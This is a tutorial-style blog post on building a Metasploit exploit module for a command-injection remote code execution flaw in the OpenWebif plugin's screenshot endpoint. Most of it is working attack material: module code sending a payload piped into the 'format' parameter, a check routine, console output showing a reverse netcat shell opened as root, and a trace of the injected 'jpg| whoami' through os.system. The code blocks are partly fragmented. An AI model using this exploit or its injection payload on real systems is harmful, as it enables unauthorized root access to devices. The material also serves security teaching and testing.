How to create a module MSF for RCE on web

We should know what is a RCE (Remote Code Execution), this vulnerability is critical (CVSS >=9) in almost all cases. The vulnerability allows to execute commands over a target, also it is more critical if the user with whom you are executing the command is admin.
In general, this kind of vulnerabilities open a wonderful world of opportunities named "post-exploitation" (privilege escalation, pivoting, persistent backdoor, exfiltration data...).

Some time ago I found a RCE vulnerability in e2openplugin-OpenWebif but I didn't disclosure it because the vulnerability has been fixed in the next release πŸ˜…. Although, I think that is a good example for create a small exploit in Metasploit Framework.

I try to explain the basic structure of a RCE exploit for website in Metasploit Framework.

In this section you should include necessary libraries for this exploit and ranking exploit.

# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # Ranking 

  include Msf::Exploit::Remote::HttpClient # HTTPClient library

Initialize function

This function allows to add information about the exploit (name, description, author, license...), architecture, payload and others things. It is executed when the exploit has been loaded use <exploit_name> command.

def initialize(info = {})
      'Name'          => 'OpenWebif Remote Code Execution',
      'Description'   => %q{All versions of OpenWebif before 2 Mar 2014 are vulnerable to blind remote code execution. The vulnerability is locate on grab screenshot option.},
      'Author'        => [ 'Daniel Diez <danihzt[at]>' ], #Metasploit, discovery
      'License'       => MSF_LICENSE,
      'References'    =>
          [ 'URL', '' ],
          [ 'URL', '']
      'Platform'     => %w{ linux unix },
      'Arch'         => ARCH_CMD,
      'Privileged'   => true,
      'Payload'      =>
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'netcat generic'
      'Targets'      =>
          [ 'Automatic Target', { }]
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Dec 25 2017'

Check function (optional)

This function (optional) allows to check if a target is vulnerable before running the exploit. This function is executed when you write check command. You should return Exploit::CheckCode::Vulnerable if the target is vulnerable or Exploit::CheckCode::Safe if the target is safe.

def check
      res = send_request_cgi( # Send request for check the target })
      if res && res.body
        if /uid=0\(root\) gid=0\(root\)/ =~ res.body
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")

Exploit function

This function throws the exploit over the target. It is executed when you write exploit command. Here's where the magic happensπŸ§™β€β™‚οΈ.

def exploit
    print_status("#{rhost}:#{rport} - Sending remote command.")
          # http://{rhost}:{rport}/grab?format=jpg|{payload}&r=0&mode=1
          'uri'    => normalize_uri("grab"),
          'method' => 'GET',
          'vars_get' => {
            "format" => "jpg | #{payload.encoded}",
            "r" => "0",
            "mode" => "1"

    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")


msf exploit(linux/http/openwebif_rce_grab.rb) > show options
Module options (exploit/linux/http/openwebif_rce_grab.rb):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    yes       The target address
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST    yes       The listen address
   LPORT  443              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(linux/http/openwebif_rce_grab.rb) > exploit
[*] [2017.12.17-12:24:34] Started reverse TCP handler on 
[*] [2017.12.17-12:24:34] - Sending remote command.
[*] Command shell session 1 opened ( -> at 2017-12-17 12:24:36 -0500
uid=0(root) gid=0(root)

Technical details

In this case, the vulnerability appears in the line number 65 because the argument grabcommand is loaded directly on function os.system(grabcommand).

Firstly, we can see that in lines 29-30 checking if there is variable format in the request and the value is load in variable self.fileformat. In the next lines 34-38 do a switch python (elif) but there is not a default option (error).

Then in the lines number 62 and 63 the variable self.fileformat is concatenate with self.filepath. Finally the variable grabcommand = GRAB_PATH + graboptions + " " + self.filepath is load over os.system() function.

It is the workflow with a malicious input (jpg| whoami)


Request: http://{rhost}:{rport}/grab?format=jpg|whoami&r=0&mode=1

GRAB_PATH = '/usr/bin/grab'
if "format" in request.args.keys():
    self.fileformat = "jpg| whoami"
# self.filepath = "/tmp/screenshot." + self.fileformat
self.filepath = "/tmp/screenshot." + jpg| whoami
# grabcommand = GRAB_PATH + graboptions + " " + self.filepath
grabcommand = "/usr/bin/grab -r 0 /tmp/screenshot.jpg| whoami"
# os.system(grabcommand)
os.system("/usr/bin/grab -r 0 /tmp/screenshot.jpg| whoami")

For more information about how to write modules for MSF check How to get started with writing an exploit

Remember add your custom modules in $HOME/.msf4/modules/exploits/linux/http

MSF module for e2openplugin-openwebif before 2 Mar 2014
MSF module OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution (Jonatas Fil discovery)

Happy hacking!πŸ˜ƒ